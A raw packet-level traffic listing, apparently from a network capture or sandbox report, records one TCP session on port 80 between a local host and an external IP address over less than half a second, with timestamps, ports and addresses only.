Dec 12, 2024 16:48:07.064759970 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.118206024 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.118274927 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.118388891 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.118432999 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.118433952 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.118536949 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.118549109 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.118596077 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.119240999 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.119328022 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.119360924 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.119431973 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.120007038 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.120117903 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.120385885 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.154690027 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.154840946 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.154980898 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.154980898 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.155111074 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.155284882 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.155343056 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.155903101 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.156001091 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.156023979 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.156265020 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.156655073 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.156729937 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.156783104 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.157540083 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.157622099 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.157651901 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.157668114 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.158185959 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.158292055 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.158451080 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.158978939 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.159044981 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.159125090 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.159760952 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.159920931 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.159948111 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.159962893 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.160520077 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.160578966 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.160634041 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.160727978 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.161369085 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.161422014 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.161429882 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.161474943 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.162105083 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.162157059 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.162314892 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.162369013 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.162870884 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.162925005 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.162955046 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.163016081 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.163634062 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.163695097 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.163749933 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.163796902 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.164452076 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.164503098 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.164535046 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.164619923 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.165208101 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.165261984 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.165357113 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.165596962 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.166054010 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.166109085 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.166141033 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.166182995 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.166815996 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.166877985 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.166909933 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.166951895 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.167576075 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.167654991 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.167685032 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.168220997 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.168399096 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.168512106 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.168513060 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.168663025 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.169133902 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.169153929 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.169199944 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.233869076 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.233903885 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.233942032 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.233964920 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.234009981 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.234059095 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.234703064 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.234755993 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.234786034 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.235441923 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.235522032 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.235533953 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.235577106 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.236053944 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.236136913 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.236186981 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.236936092 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.237025023 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.237078905 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.237698078 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.237822056 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.237875938 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.238408089 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.238487959 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.238862991 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.239193916 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.239268064 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.239514112 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.240093946 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.240134954 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.240186930 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.240807056 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.240889072 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.240957975 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.241607904 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.241707087 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.241765022 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.242419958 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.242472887 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.242655993 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.243107080 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.243151903 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.243208885 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.243510008 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.243912935 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.243958950 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.244023085 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.244131088 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.244719982 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.244795084 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.244843960 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.245501041 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.245592117 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.246232033 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.246279001 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.246356964 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.247030973 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.247076988 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.247081995 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.247505903 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.247840881 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.247895956 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.247926950 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.248585939 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.248634100 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.248718977 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.249378920 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.249500990 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.249547958 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.250158072 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.250227928 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.250273943 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.250916958 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.251024961 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.251076937 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.251707077 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.251761913 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.251883984 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.251925945 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.252521992 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.252573967 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.252636909 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.253361940 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.253412962 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.253427029 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.254066944 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.254117966 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.254199028 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.255188942 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.255331039 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.255386114 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.255848885 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.255925894 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.256012917 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.256539106 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.256557941 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.256589890 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.256612062 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.310529947 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.310636044 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.310728073 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.310858965 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.310870886 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.311455011 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.311665058 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.311810017 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.311858892 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.312319040 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.312520027 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.347269058 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.347282887 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.347347975 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.347789049 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.347867966 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.348128080 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.348215103 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.348615885 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.348665953 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.348666906 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.348977089 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.349212885 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.349323034 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.349374056 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.350013018 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.350125074 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.350178003 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.350699902 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.350770950 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.350907087 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.351572037 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.351663113 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.351717949 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.352355957 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.352428913 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.352489948 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.353301048 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.353379011 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.353427887 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.353981018 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.354005098 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.354049921 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.354552984 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.354638100 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.354713917 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.355130911 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.355214119 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.355262995 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.355861902 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.355925083 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.356087923 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.356544971 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.356605053 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.356657028 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.357319117 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.357378006 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.357412100 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.357453108 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.358130932 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.358194113 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.358210087 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.358915091 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.358975887 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.358978033 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.359158993 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.359658003 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.359716892 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.359776974 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.360425949 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.360481024 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.360498905 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.360516071 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.361255884 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.361335993 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.361397982 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.426023006 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.426105022 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.426217079 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.426259995 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.426362038 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.426419973 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.426453114 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.426788092 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.427155972 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.427197933 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.427292109 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.427331924 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.427876949 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.427933931 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.428195953 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.428267002 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.428282976 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.428322077 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.428944111 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.428997040 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.429151058 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.429197073 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.429738998 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.429791927 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.429852962 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.429982901 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.430500984 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.430545092 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.430598021 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.430639982 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.431281090 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.431368113 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.431401014 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.431463957 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.432292938 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.432343960 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.432424068 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.432873011 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.433094025 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.433136940 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.433641911 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.433681011 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.433717012 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.434443951 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.434485912 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.434564114 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.434946060 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.435219049 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.435328960 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.435503960 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.435568094 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.436237097 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.436285973 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.436358929 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.436403990 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.436778069 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.436821938 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.437091112 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.437155008 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.437581062 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.437629938 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.437714100 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.437753916 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.438345909 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.438391924 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.438448906 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.438488007 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.439202070 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.439254045 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.439321995 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.439439058 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.439951897 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.440088034 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:07.440120935 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:07.440159082 CET	49819	80	192.168.2.11	80.82.65.70
